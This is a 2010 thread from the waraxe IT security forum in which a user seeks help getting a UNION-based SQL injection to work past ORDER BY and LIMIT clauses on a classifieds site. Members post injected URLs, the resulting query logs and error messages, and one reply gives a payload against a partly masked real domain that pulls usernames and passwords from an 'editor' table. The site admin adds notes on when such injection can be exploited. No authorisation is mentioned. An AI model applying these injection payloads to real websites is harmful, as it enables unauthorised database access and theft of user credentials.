Waraxe IT Security Portal
Login or Register
December 22, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 178
Members: 0
Total: 178
Full disclosure
CyberDanube Security Research 20241219-0 | Authenticated Remote Code Execution in Ewon Flexy 205
Stored XSS with Filter Bypass - blogenginev3.3.8
[SYSS-2024-085]: Broadcom CA Client Automation - Improper Privilege Management (CWE-269)
[KIS-2024-07] GFI Kerio Control <= 9.4.5 Multiple HTTP Response Splitting Vulnerabilities
RansomLordNG - anti-ransomware exploit tool
APPLE-SA-12-11-2024-9 Safari 18.2
APPLE-SA-12-11-2024-8 visionOS 2.2
APPLE-SA-12-11-2024-7 tvOS 18.2
APPLE-SA-12-11-2024-6 watchOS 11.2
APPLE-SA-12-11-2024-5 macOS Ventura 13.7.2
APPLE-SA-12-11-2024-4 macOS Sonoma 14.7.2
APPLE-SA-12-11-2024-3 macOS Sequoia 15.2
APPLE-SA-12-11-2024-2 iPadOS 17.7.3
APPLE-SA-12-11-2024-1 iOS 18.2 and iPadOS 18.2
SEC Consult SA-20241211-0 :: Reflected Cross-Site Scripting in Numerix License Server Administration System Login
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> A little help
Post new topicReply to topic View previous topic :: View next topic
A little help
PostPosted: Wed Dec 08, 2010 2:26 pm Reply with quote
Nial
Advanced user
Advanced user
Joined: Feb 29, 2008
Posts: 103




Hi

I have a mysql error with
Code:
http://www.site.com/rub.php?id_rub=8&id_depart=100+union+all+select+1,2--+


showing the full request :
Code:
SELECT pa_annonces.* , pa_annonces.cp AS cp_bien, UNIX_TIMESTAMP(pa_annonces.date) AS monchampdate, users.id AS id_user, users.pseudo, users.mail_user, users.cp AS cp_user, users.tel AS tel_user, users.fax, users.siret, users.site_web, users.texte_url_pa, pa_transactions.transaction, pa_transactions.color, pa_rubriques.rubrique, pa_marques.marque, pa_energies.energie, pa_cylindrees.cylindree, pa_immobilier.type, pa_situations.situation FROM pa_annonces LEFT JOIN users ON pa_annonces.id_user=users.id LEFT JOIN pa_transactions ON pa_annonces.id_transaction=pa_transactions.id LEFT JOIN pa_rubriques ON pa_annonces.id_rubrique=pa_rubriques.id LEFT JOIN pa_marques ON pa_annonces.id_marque=pa_marques.id LEFT JOIN pa_energies ON pa_annonces.id_energie=pa_energies.id LEFT JOIN pa_cylindrees ON pa_annonces.id_cylindree=pa_cylindrees.id LEFT JOIN pa_immobilier ON pa_annonces.id_immobilier=pa_immobilier.id LEFT JOIN pa_situations ON pa_annonces.id_situation=pa_situations.id WHERE pa_annonces.valide='1' AND pa_annonces.id_rubrique='8' ORDER BY pa_annonces.top DESC, pa_annonces.date DESC LIMIT 100 union all select 1,2-- ,20


with the error :
Code:
Incorrect usage of UNION and ORDER BY


But i dont have a clue about how inserting my request after this Order BY and LIMIT...
If someone could help me, it would be great !

Thanks !
View user's profile Send private message
PostPosted: Wed Dec 08, 2010 2:36 pm Reply with quote
pink_spider
Advanced user
Advanced user
Joined: Aug 28, 2010
Posts: 91




test:

Code:
http://www.site.com/rub.php?id_rub=8&id_depart=100+and+(1)=(union+(select+1,2))--
View user's profile Send private message Send e-mail Visit poster's website MSN Messenger
PostPosted: Wed Dec 08, 2010 2:58 pm Reply with quote
Nial
Advanced user
Advanced user
Joined: Feb 29, 2008
Posts: 103




Thanks for your help but it doesnt work.
here is the sql log :
Code:
SELECT pa_annonces.* , pa_annonces.cp AS cp_bien, UNIX_TIMESTAMP(pa_annonces.date) AS monchampdate, users.id AS id_user, users.pseudo, users.mail_user, users.cp AS cp_user, users.tel AS tel_user, users.fax, users.siret, users.site_web, users.texte_url_pa, pa_transactions.transaction, pa_transactions.color, pa_rubriques.rubrique, pa_marques.marque, pa_energies.energie, pa_cylindrees.cylindree, pa_immobilier.type, pa_situations.situation FROM pa_annonces LEFT JOIN users ON pa_annonces.id_user=users.id LEFT JOIN pa_transactions ON pa_annonces.id_transaction=pa_transactions.id LEFT JOIN pa_rubriques ON pa_annonces.id_rubrique=pa_rubriques.id LEFT JOIN pa_marques ON pa_annonces.id_marque=pa_marques.id LEFT JOIN pa_energies ON pa_annonces.id_energie=pa_energies.id LEFT JOIN pa_cylindrees ON pa_annonces.id_cylindree=pa_cylindrees.id LEFT JOIN pa_immobilier ON pa_annonces.id_immobilier=pa_immobilier.id LEFT JOIN pa_situations ON pa_annonces.id_situation=pa_situations.id WHERE pa_annonces.valide='1' AND pa_annonces.id_rubrique='8' ORDER BY pa_annonces.top DESC, pa_annonces.date DESC LIMIT 100 and (1)=(union (select 1,2))--,20


and then, the error :
Code:
Syntax error near 'and (1)=(union (select 1,2))--,20'
View user's profile Send private message
PostPosted: Fri Dec 10, 2010 3:58 am Reply with quote
Despotic
Active user
Active user
Joined: Nov 17, 2010
Posts: 42




Are you sure there are only 2? (ie 1,2--) There may be more.
take a look at this. It might help.
Code:

http://www.co-p**n.org/egug/rub.php?idr=7+and+1=2+union+all+select+1,2,3,concat(username,char(58),password),5,6,7,8,9+from+editor--&l=a


and drop the "ALL" from your union select statement.
View user's profile Send private message
PostPosted: Mon Dec 13, 2010 9:10 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Sql injection after ORDER BY and LIMIT is not exploitable in most cases. INSERT INTO may be possible, if "magic_quotes_gpc=off" and FILE privileges are available. PROCEDURE may be useful in some rare cases.
View user's profile Send private message Send e-mail Visit poster's website
A little help
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.036 Seconds